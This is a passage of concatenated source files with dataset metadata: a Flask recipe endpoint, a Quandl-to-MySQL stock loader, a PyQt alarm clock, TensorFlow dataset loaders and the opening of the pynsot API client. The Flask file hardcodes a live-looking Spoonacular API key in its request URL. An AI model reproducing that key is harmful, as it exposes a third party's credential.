"line_number": 173, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 173, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.wait_for_bgp_net_assocs", "line_number": 176, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 176, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.wait_before_subtest", "line_number": 183, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 183, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.update_bgpvpn", "line_number": 197, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 197, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.wait_before_subtest", "line_number": 201, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 201, "usage_type": "name"}]} {"seq_id": "192290102", "text": "import models\nimport requests\n\nfrom flask import Blueprint, jsonify, request, Response\n\nfrom playhouse.shortcuts import model_to_dict\n\nbreakfastRecipe = Blueprint('breakfastRecipes', 'breakfastRecipe') # this will be my route\n\n## here we are retrieving the random recipe from the spoonacular API\n@breakfastRecipe.route('/', methods=[\"GET\"])\ndef get_random_recipes():\n try:\n breakfastRecipe = \"test code\"\n breakfastRecipe = requests.get('https://api.spoonacular.com/recipes/random?apiKey=40b4dc4ae9fe4482b9d5633dd6ff2738&number=1&tags=breakfast')\n # print(breakfastRecipe.content)\n # recipe.headers['content-type':]\n # return jsonify(data=recipe.content, status={\"code\": 200, \"message\": \"Success\"})\n return Response(breakfastRecipe, mimetype='application/json')\n except models.DoesNotExist:\n return jsonify(data={}, status={\"code\": 401, \"message\": \"Error getting the resources\"})\n\n\n@breakfastRecipe.route('/', methods=[\"POST\"])\ndef saved_recipe():\n ## see request payload anagolous to req.body in express\n payload = request.get_json()\n print(type(payload), 'payload')\n saved_recipe = models.SavedRecipe.create(**payload)\n ## see the object\n print(saved_recipe.__dict__)\n ## Look at all the methods\n print(dir(saved_recipe))\n # Change the model to a dict\n print(model_to_dict(saved_recipe), 'model to dict')\n saved_recipe_dict = model_to_dict(saved_recipe)\n return jsonify(data=saved_recipe_dict, status={\"code\": 201, \"message\": \"Success\"})\n\n", "sub_path": "resources/breakfastRecipes.py", "file_name": "breakfastRecipes.py", "file_ext": "py", "file_size_in_byte": 1532, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Blueprint", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 19, "usage_type": "call"}, {"api_name": "models.DoesNotExist", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "models.SavedRecipe.create", "line_number": 29, "usage_type": "call"}, {"api_name": "models.SavedRecipe", "line_number": 29, "usage_type": "attribute"}, {"api_name": "playhouse.shortcuts.model_to_dict", "line_number": 35, "usage_type": "call"}, {"api_name": "playhouse.shortcuts.model_to_dict", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 37, "usage_type": "call"}]} {"seq_id": "304282867", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\n#import numpy as np ## not used in this script for now\nimport pandas as pd\nfrom datetime import datetime\nimport os\nimport glob\nfrom ExecQuery import ExecQuery\n#import quandl ## later imported in the function\n#import zipfile ## later imported in the function\n\nfrom config import get_data_config\n\n\ndef main():\n GetData(get_data_config)\n \n\n#########################################\n### The Function\n#########################################\ndef GetData(get_data_config):\n # the conf\n data_dir = get_data_config['Quandl_partial_dir']\n api_key = get_data_config['Quandl_api_key']\n col_names = get_data_config['Quandl_col_names']\n db_name = get_data_config['mysql_database']\n table_name = get_data_config['mysql_table_name']\n \n raw_dir = data_dir + 'raw/'\n proc_dir = data_dir + 'proc/'\n \n raw_file_list = DumpBulkDataFromQuandl(raw_dir, api_key)\n print(raw_file_list)\n \n proc_file_dict = ProcessData(proc_dir, raw_file_list, col_names, True)\n print(proc_file_dict)\n \n LoadData(proc_file_dict, db_name, table_name, True)\n \n #historical\n #ProcessData('E:/Work/PartTime/DQ_Project/data/QuandlWiki/hist/proc/',['E:/Work/PartTime/DQ_Project/data/QuandlWiki/hist/raw/WIKI_PRICES.csv'], col_names)\n #LoadData(['E:/Work/PartTime/DQ_Project/data/QuandlWiki/hist/proc/proc_WIKI_PRICES.csv'], db_name, table_name)\n \n \n \n\n\n#########################################\n### Helper Functions\n#########################################\n \n### 1. DumpBulkDataFromQuandl ###########\ndef DumpBulkDataFromQuandl(raw_dir, api_key): \n # defininations\n zip_file_name = raw_dir + datetime.strftime(datetime.now(),'%Y%m%d.%H%M%S') + '.zip'\n \n # bulkdownload\n import quandl\n quandl.ApiConfig.api_key = api_key\n quandl.bulkdownload(\"WIKI\", download_type=\"partial\", filename=zip_file_name)\n \n # remove all the existing csv files\n to_remove_list = glob.glob(raw_dir + '*.csv')\n for f in to_remove_list:\n os.remove(f)\n \n # upzip and rename\n import zipfile\n zip_ref = zipfile.ZipFile(zip_file_name, 'r')\n zip_ref.extractall(raw_dir)\n zip_ref.close()\n \n raw_file_list = glob.glob(raw_dir + '*.csv')\n raw_file_list = [f.replace('\\\\','/') for f in raw_file_list]\n return raw_file_list\n\n\n### 2. ProcessData ######################\ndef ProcessData(proc_dir, raw_file_list, col_names, keep_lastest=False):\n proc_file_dict = {}\n \n for raw_file_name in raw_file_list:\n #raw_file_name = raw_file_list[0] ###DEBUG\n #keep_lastest=True ###DEBUG\n \n # read the data\n data = pd.read_csv(raw_file_name, header=None, names = col_names)\n #data = pd.read_csv(raw_file_name) ###DEBUG, hist\n \n if keep_lastest:\n # only keep the data when date = date in the file name\n datex = ((raw_file_name.split('/')[-1]).split('.')[0]).split('_')[1]\n datex = datetime.strftime(datetime.strptime(datex,'%Y%m%d'), '%Y-%m-%d')\n data = data[data['date']==datex]\n \n # transform the format of the data\n data['date'] = pd.to_datetime(data['date']).dt.strftime('%Y/%m/%d')\n \n # generate the file name based on the raw file name\n proc_file_name = proc_dir + 'proc_' + raw_file_name.split('/')[-1]\n \n # output with nan being 'NULL'\n data.to_csv(proc_file_name, na_rep='NULL', index=False, header=None)\n \n \n proc_file_dict.update({proc_file_name:datex})\n \n return proc_file_dict\n\n\n### 3. LoadData #########################\ndef LoadData(proc_file_dict, db_name, table_name, delete=False):\n for f in proc_file_dict.keys():\n if delete:\n del_query = \"delete from \" + table_name + \" where date = '\" + proc_file_dict[f] + \"'; commit;\"\n print(del_query)\n ExecQuery(db_name, del_query)\n \n load_query = \"\"\"\n LOAD DATA INFILE '\"\"\" + f.replace('/','\\\\\\\\') + \"\"\"' \n INTO TABLE \"\"\" + table_name + \"\"\" \n COLUMNS TERMINATED BY ','\n OPTIONALLY ENCLOSED BY '\"'\n ESCAPED BY '\"'\n LINES TERMINATED BY '\\\\r\\\\n'\n #IGNORE 1 ROWS\n ;commit;\n \"\"\"\n print(load_query)\n ExecQuery(db_name, load_query)\n\n\n#########################################\n### Execute if main\n#########################################\nif __name__ == '__main__':\n main()\n\n\n\n#########################################\n### Examples/Explanations\n#########################################\n \ndef DumpDfDataFromQuandl(sd, ed, ticker): \n # bulkdownload\n import quandl\n quandl.ApiConfig.api_key = get_data_config['Quandl_api_key']\n df = quandl.get_table('WIKI/PRICES'\n , qopts = {'columns': ['ticker', 'date', 'adj_close']}\n , date={'gte': sd, 'lte': ed}\n , ticker=ticker\n , paginate=True)\n return df\n\ndef DumpDataFromQuandlExamples():\n import quandl\n \n ### Here are a few ways to dump the data from Quandl, to data frame\n # 0. load the api_key\n quandl.ApiConfig.api_key = get_data_config['Quandl_api_key']\n \n # 1. get_table method: can get one day or multiple days of data\n print(quandl.get_table('WIKI/PRICES', date='2018-03-28', ticker='AAPL'))\n\n print(quandl.get_table('WIKI/PRICES', ticker = ['AAPL', 'MSFT', 'WMT'], \n #qopts = { 'columns': ['ticker', 'date', 'adj_close'] }, \n date = { 'gte': '2016-12-15', 'lte': '2016-12-31' }, \n paginate=True))\n \n # 2. get method: mostly for a time series\n print(quandl.get(\"WIKI/AAPL\", trim_start = \"2012-12-21\", trim_end = \"2013-01-01\"))\n \n # 3. bulkdownload method: download all the sybmbols as of the last available date\n print(quandl.bulkdownload(\"WIKI\", download_type=\"partial\", filename=\"E:/Work/PartTime/DQ_Project/temp/WIKI.zip\"))", "sub_path": "scripts/Python/other/GetData_Quandl.py", "file_name": "GetData_Quandl.py", "file_ext": "py", "file_size_in_byte": 6156, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "config.get_data_config", "line_number": 21, "usage_type": "argument"}, {"api_name": "config.get_data_config", "line_number": 29, "usage_type": "name"}, {"api_name": "config.get_data_config", "line_number": 30, "usage_type": "name"}, {"api_name": "config.get_data_config", "line_number": 31, "usage_type": "name"}, {"api_name": "config.get_data_config", "line_number": 32, "usage_type": "name"}, {"api_name": "config.get_data_config", "line_number": 33, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 61, "usage_type": "call"}, {"api_name": "quandl.ApiConfig", "line_number": 65, "usage_type": "attribute"}, {"api_name": "quandl.bulkdownload", "line_number": 66, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 69, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 71, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 75, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 99, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 103, "usage_type": "call"}, {"api_name": "ExecQuery.ExecQuery", "line_number": 123, "usage_type": "call"}, {"api_name": "ExecQuery.ExecQuery", "line_number": 136, "usage_type": "call"}, {"api_name": "quandl.ApiConfig", "line_number": 154, "usage_type": "attribute"}, {"api_name": "config.get_data_config", "line_number": 154, "usage_type": "name"}, {"api_name": "quandl.get_table", "line_number": 155, "usage_type": "call"}, {"api_name": "quandl.ApiConfig", "line_number": 167, "usage_type": "attribute"}, {"api_name": "config.get_data_config", "line_number": 167, "usage_type": "name"}, {"api_name": "quandl.get_table", "line_number": 170, "usage_type": "call"}, {"api_name": "quandl.get_table", "line_number": 172, "usage_type": "call"}, {"api_name": "quandl.get", "line_number": 178, "usage_type": "call"}, {"api_name": "quandl.bulkdownload", "line_number": 181, "usage_type": "call"}]} {"seq_id": "114711481", "text": "from PyQt5.QtCore import QObject, pyqtSlot, QTimer, QTime, QModelIndex\nfrom datetime import datetime\nfrom models.alarm_model import AlarmModel\nfrom views.add_alarm_view import AddAlarm\nfrom alarm_checker import AlarmChecker\nfrom json_storage import JsonStorage\nfrom weather_forecaster import WeatherForecaster\n\n\nclass ClockController(QObject):\n def __init__(self, model, forecast):\n super().__init__()\n\n self._model = model\n self._forecast = forecast\n self.timer = QTimer()\n self.json_storage = JsonStorage(\"\")\n self.load_alarms()\n self.timer.timeout.connect(self.clock)\n self.timer.start(1000)\n self.checker = AlarmChecker(self._model.alarms)\n self.weather = WeatherForecaster(self._model, self._forecast)\n print(self._model.temp)\n\n @pyqtSlot(int)\n def add_alarm(self):\n new_alarm = AlarmModel(self._model.name, self._model.hour, self._model.minute)\n self._model.alarms = new_alarm\n self.json_storage.save(self._model.alarms)\n\n @pyqtSlot(int)\n def name_changed(self, value):\n self._model.name = value\n\n @pyqtSlot(QTime)\n def alarm_time_changed(self, value):\n self._model.hour = value.hour()\n self._model.minute = value.minute()\n\n @pyqtSlot(str)\n def change_time(self, value):\n self._model.time = value\n\n @pyqtSlot(str)\n def change_date(self, value):\n self._model.date = value\n\n @pyqtSlot(QModelIndex)\n def selection_changed(self, value):\n name = self._model.alarms[value.data()].name\n ret = AddAlarm(alarm_clock=self._model.alarms[name])\n res = ret.exec()\n if ret.delete:\n self._model.alarms.pop(name)\n for item in self._model.alarm_list.findItems(name):\n self._model.alarm_list.removeRow(item.row())\n self.json_storage.save(self._model.alarms)\n if res != 0:\n self.set_alarm_model(ret.alarm)\n\n @pyqtSlot()\n def show_add_alarm_dialog(self):\n ret = AddAlarm()\n if ret.exec():\n self.set_alarm_model(ret.alarm)\n\n def load_alarms(self):\n alarm_list = self.json_storage.read()\n for alarm in alarm_list:\n self._model.alarms = alarm\n\n def set_alarm_model(self, alarm):\n self._model.alarms = alarm\n self.json_storage.save(self._model.alarms)\n\n def clock(self):\n self._model.time = datetime.now().strftime('%I:%M:%S %p')\n self._model.date = datetime.now().strftime('%m-%d-%Y')\n", "sub_path": "controllers/clock_controller.py", "file_name": "clock_controller.py", "file_ext": "py", "file_size_in_byte": 2527, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PyQt5.QtCore.QObject", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 16, "usage_type": "call"}, {"api_name": "json_storage.JsonStorage", "line_number": 17, "usage_type": "call"}, {"api_name": "alarm_checker.AlarmChecker", "line_number": 21, "usage_type": "call"}, {"api_name": "weather_forecaster.WeatherForecaster", "line_number": 22, "usage_type": "call"}, {"api_name": "models.alarm_model.AlarmModel", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 25, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QTime", "line_number": 35, "usage_type": "argument"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 40, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 44, "usage_type": "call"}, {"api_name": "views.add_alarm_view.AddAlarm", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QModelIndex", "line_number": 48, "usage_type": "argument"}, {"api_name": "views.add_alarm_view.AddAlarm", "line_number": 63, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "name"}]} {"seq_id": "639336327", "text": "import os\nimport glob2\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\n# /datasets/faces_emore_112x112_folders/*/*.jpg'\ndefault_image_names_reg = \"*/*.jpg\"\ndefault_image_classes_rule = lambda path: int(os.path.basename(os.path.dirname(path)))\n\n\ndef pre_process_folder(data_path, image_names_reg=None, image_classes_rule=None):\n while data_path.endswith(\"/\"):\n data_path = data_path[:-1]\n if not data_path.endswith(\".npz\"):\n dest_pickle = os.path.join(\"./\", os.path.basename(data_path) + \"_shuffle.npz\")\n else:\n dest_pickle = data_path\n\n if os.path.exists(dest_pickle):\n aa = np.load(dest_pickle)\n # with open(dest_pickle, \"rb\") as ff:\n # aa = pickle.load(ff)\n if len(aa.keys()) == 2:\n image_names, image_classes, embeddings = aa[\"image_names\"], aa[\"image_classes\"], []\n else:\n # dataset with embedding values\n image_names, image_classes, embeddings = aa[\"image_names\"], aa[\"image_classes\"], aa[\"embeddings\"]\n else:\n if not os.path.exists(data_path):\n return [], [], [], 0, None\n if image_names_reg is None or image_classes_rule is None:\n image_names_reg, image_classes_rule = default_image_names_reg, default_image_classes_rule\n image_names = glob2.glob(os.path.join(data_path, image_names_reg))\n image_names = np.random.permutation(image_names).tolist()\n image_classes = [image_classes_rule(ii) for ii in image_names]\n embeddings = []\n np.savez_compressed(dest_pickle, image_names=image_names, image_classes=image_classes)\n # with open(dest_pickle, \"wb\") as ff:\n # pickle.dump({\"image_names\": image_names, \"image_classes\": image_classes}, ff)\n classes = np.max(image_classes) + 1\n return image_names, image_classes, embeddings, classes, dest_pickle\n\n\ndef tf_imread(file_path):\n img = tf.io.read_file(file_path)\n img = tf.image.decode_jpeg(img, channels=3) # [0, 255]\n # img = tf.image.convert_image_dtype(img, tf.float32) # [0, 1]\n img = tf.cast(img, \"float32\") # [0, 255]\n return img\n\n\ndef random_process_image(img, img_shape=(112, 112), random_status=2, random_crop=None):\n if random_status >= 0:\n img = tf.image.random_flip_left_right(img)\n if random_status >= 1:\n # 25.5 == 255 * 0.1\n img = tf.image.random_brightness(img, 25.5 * random_status)\n if random_status >= 2:\n img = tf.image.random_contrast(img, 1 - 0.1 * random_status, 1 + 0.1 * random_status)\n img = tf.image.random_saturation(img, 1 - 0.1 * random_status, 1 + 0.1 * random_status)\n if random_status >= 3 and random_crop is not None:\n img = tf.image.random_crop(img, random_crop)\n img = tf.image.resize(img, img_shape)\n\n if random_status >= 1:\n img = tf.clip_by_value(img, 0.0, 255.0)\n return img\n\n\ndef prepare_dataset(\n data_path,\n image_names_reg=None,\n image_classes_rule=None,\n batch_size=128,\n img_shape=(112, 112),\n random_status=2,\n random_crop=None,\n cache=False,\n shuffle_buffer_size=None,\n is_train=True,\n):\n image_names, image_classes, embeddings, classes, _ = pre_process_folder(data_path, image_names_reg, image_classes_rule)\n if len(image_names) == 0:\n return None\n print(\">>>> Image length: %d, Image class length: %d, classes: %d\" % (len(image_names), len(image_classes), classes))\n\n if len(embeddings) == 0:\n ds = tf.data.Dataset.from_tensor_slices((image_names, image_classes))\n process_func = lambda imm, label: (tf_imread(imm), tf.one_hot(label, depth=classes, dtype=tf.int32))\n else:\n # dataset with embedding values\n print(\">>>> embeddings: %s. This takes some time...\" % (np.shape(embeddings),))\n ds = tf.data.Dataset.from_tensor_slices((image_names, image_classes, embeddings))\n process_func = lambda imm, label, emb: (tf_imread(imm), (tf.one_hot(label, depth=classes, dtype=tf.int32), emb))\n\n AUTOTUNE = tf.data.experimental.AUTOTUNE\n ds = ds.shuffle(buffer_size=len(image_names))\n ds = ds.map(process_func, num_parallel_calls=AUTOTUNE)\n\n if is_train and random_status >= 0:\n random_process_func = lambda xx, yy: (random_process_image(xx, img_shape, random_status, random_crop), yy)\n ds = ds.map(random_process_func, num_parallel_calls=AUTOTUNE)\n\n ds = ds.batch(batch_size) # Use batch --> map has slightly effect on dataset reading time, but harm the randomness\n ds = ds.map(lambda xx, yy: ((xx - 127.5) * 0.0078125, yy))\n ds = ds.prefetch(buffer_size=AUTOTUNE)\n return ds\n\n\nclass Triplet_dataset:\n def __init__(\n self,\n data_path,\n image_names_reg=None,\n image_classes_rule=None,\n batch_size=48,\n image_per_class=4,\n img_shape=(112, 112, 3),\n random_status=3,\n random_crop=None,\n ):\n self.AUTOTUNE = tf.data.experimental.AUTOTUNE\n image_names, image_classes, _, classes, _ = pre_process_folder(data_path, image_names_reg, image_classes_rule)\n image_dataframe = pd.DataFrame({\"image_names\": image_names, \"image_classes\": image_classes})\n image_dataframe = image_dataframe.groupby(\"image_classes\").apply(lambda xx: xx.image_names.values)\n aa = image_dataframe.map(len)\n self.image_dataframe = image_dataframe[aa > image_per_class]\n self.split_func = lambda xx: np.array(\n np.split(np.random.permutation(xx)[: len(xx) // image_per_class * image_per_class], len(xx) // image_per_class)\n )\n self.image_per_class = image_per_class\n self.batch_size = batch_size\n self.img_shape = img_shape[:2]\n self.channels = img_shape[2] if len(img_shape) > 2 else 3\n print(\"The final train_dataset batch will be %s\" % ([batch_size * image_per_class, *self.img_shape, self.channels]))\n\n get_label = lambda xx: tf.one_hot(\n tf.cast(tf.strings.to_number(tf.strings.split(xx, os.path.sep)[-2]), tf.int32), depth=classes, dtype=tf.int32\n )\n self.process_path = lambda img_name: (\n random_process_image(tf_imread(img_name), self.img_shape, random_status, random_crop),\n get_label(img_name),\n )\n # image_data = self.image_data_shuffle()\n # self.steps_per_epoch = np.ceil(image_data.shape[0] / self.batch_size)\n\n train_dataset = tf.data.Dataset.from_generator(\n self.image_data_shuffle_gen, output_types=tf.string, output_shapes=(image_per_class,)\n )\n # train_dataset = train_dataset.shuffle(total)\n train_dataset = train_dataset.batch(self.batch_size)\n if \"-dev\" in tf.__version__ or int(tf.__version__.split(\".\")[1]) > 2:\n # tf-nightly or tf >= 2.3.0\n train_dataset = train_dataset.map(self.process_batch_path_2, num_parallel_calls=self.AUTOTUNE)\n else:\n train_dataset = train_dataset.map(self.process_batch_path_1, num_parallel_calls=self.AUTOTUNE)\n train_dataset = train_dataset.map(lambda xx, yy: ((xx - 127.5) * 0.0078125, yy))\n self.train_dataset = train_dataset.prefetch(buffer_size=self.AUTOTUNE)\n self.classes = classes\n\n def image_data_shuffle_gen(self):\n tf.print(\"Shuffle image data...\")\n shuffle_dataset = self.image_dataframe.map(self.split_func)\n image_data = np.random.permutation(np.vstack(shuffle_dataset.values))\n return (ii for ii in image_data)\n\n def process_batch_path_1(self, image_name_batch):\n image_names = tf.reshape(image_name_batch, [-1])\n images, labels = tf.map_fn(self.process_path, image_names, dtype=(tf.float32, tf.int32))\n return images, labels\n\n def process_batch_path_2(self, image_name_batch):\n image_names = tf.reshape(image_name_batch, [-1])\n images, labels = tf.map_fn(self.process_path, image_names, fn_output_signature=(tf.float32, tf.int32))\n return images, labels\n", "sub_path": "data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 7954, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.basename", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "glob2.glob", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.savez_compressed", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.io.read_file", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tensorflow.image.decode_jpeg", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.image.random_flip_left_right", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_brightness", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_contrast", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_saturation", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 61, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_crop", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 63, "usage_type": "attribute"}, {"api_name": "tensorflow.image.resize", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 64, "usage_type": "attribute"}, {"api_name": "tensorflow.clip_by_value", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tensorflow.data", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tensorflow.data", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 130, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 138, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.strings.to_number", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.strings", "line_number": 139, "usage_type": "attribute"}, {"api_name": "tensorflow.strings.split", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 139, "usage_type": "attribute"}, {"api_name": "tensorflow.data.Dataset.from_generator", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tensorflow.string", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tensorflow.__version__", "line_number": 153, "usage_type": "attribute"}, {"api_name": "tensorflow.__version__.split", "line_number": 153, "usage_type": "call"}, {"api_name": "tensorflow.print", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 165, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.map_fn", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.map_fn", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 175, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 175, "usage_type": "attribute"}]} {"seq_id": "432332395", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nSimple Python API client for NSoT REST API.\n\nThe easiest way to get a client is to call ``get_api_client()`` with no\narguments. This will read the user's ``~/.pynsotrc`` file and pass the values\nto the client constructor::\n\n >>> from pynsot.client import get_api_client\n >>> api = get_api_client()\n >>> api\n AuthTokenClient(url=http://localhost:8990/api)>\n\"\"\"\n\n__author__ = 'Jathan McCollum'\n__maintainer__ = 'Jathan McCollum'\n__email__ = 'jathan@dropbox.com'\n__copyright__ = 'Copyright (c) 2015 Dropbox, Inc.'\n\n\nimport getpass\nimport json\nimport logging\nimport os\n\nfrom .vendor import click\nfrom .vendor.requests.auth import AuthBase\nfrom .vendor import slumber\nfrom .vendor.slumber.exceptions import HttpClientError\n\nfrom . import dotfile\n\n\n# Logger\nlog = logging.getLogger(__name__)\n\n# Header used for passthrough authentication.\nAUTH_HEADER = 'X-NSoT-Email'\n\n\n__all__ = (\n 'ClientError', 'LoginFailed', 'BaseClient', 'EmailHeaderAuthentication',\n 'EmailHeaderClient', 'AuthTokenAuthentication', 'AuthTokenClient',\n 'get_auth_client_info', 'get_api_client'\n)\n\n\nclass ClientError(HttpClientError):\n \"\"\"Generic client error.\"\"\"\n\n\nclass LoginFailed(ClientError):\n \"\"\"Raised when login fails for some reason.\"\"\"\n\n\nclass BaseClient(slumber.API):\n \"\"\"\n Magic REST API client for NSoT.\n \"\"\"\n def __init__(self, base_url=None, **kwargs):\n auth = kwargs.pop('auth', None) # Ditch default auth\n self.default_site = kwargs.pop('default_site', None) # Default site_id\n\n # Override the auth method if we have defined .get_auth()\n if auth is None:\n # Set these as object attributes so that they can be mutated in the\n # subclass .get_auth() method\n self._kwargs = kwargs\n auth = self.get_auth(base_url)\n\n kwargs['auth'] = auth\n kwargs['append_slash'] = True # Append slashes!\n super(BaseClient, self).__init__(base_url, **kwargs)\n\n def get_auth(self, base_url=None):\n \"\"\"\n Subclasses should references kwargs from ``self._kwargs``.\n\n :param base_url:\n Base API URL\n \"\"\"\n raise NotImplementedError('SUBCLASS ME OR SOMETHING!')\n\n def error(self, exc):\n \"\"\"\n Take errors and make them human-readable.\n\n :param 